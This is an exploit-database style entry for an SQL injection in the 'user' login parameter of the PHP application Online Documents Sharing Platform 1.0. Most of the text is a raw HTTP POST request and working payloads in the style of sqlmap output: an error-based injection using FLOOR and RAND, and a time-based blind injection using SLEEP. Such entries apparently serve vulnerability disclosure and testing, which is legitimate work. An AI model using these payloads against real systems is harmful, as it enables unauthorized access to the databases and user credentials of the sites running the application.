# Exploit Title: Online Documents Sharing Platform 1.0 - 'user' SQL Injection # Date: 21.01.2021 # Exploit Author: CANKAT ÇAKMAK # Vendor Homepage: https://www.sourcecodester.com/php/14653/online-documents-sharing-platform-php-full-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/notes.zip # Version: V1.0 # Tested on: Windows 10 #Description: The 'user' parameterer is vulnerable to error-based and time-based SQL Injection. ---------------------------------------------------- POST /path/login.php HTTP/1.1 Host: test.com Content-Length: 29 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://test.com/path/login.php Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 user=%27&pass=%27&login=login ---------------------------------------------------- #PoC: Parameter: user (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: user=' AND (SELECT 2047 FROM(SELECT COUNT(*),CONCAT(0x7176706a71,(SELECT (ELT(2047=2047,1))),0x7162787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NRPK&pass='&login=login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: user=' AND (SELECT 2110 FROM (SELECT(SLEEP(5)))pSYW)-- HnhM&pass='&login=login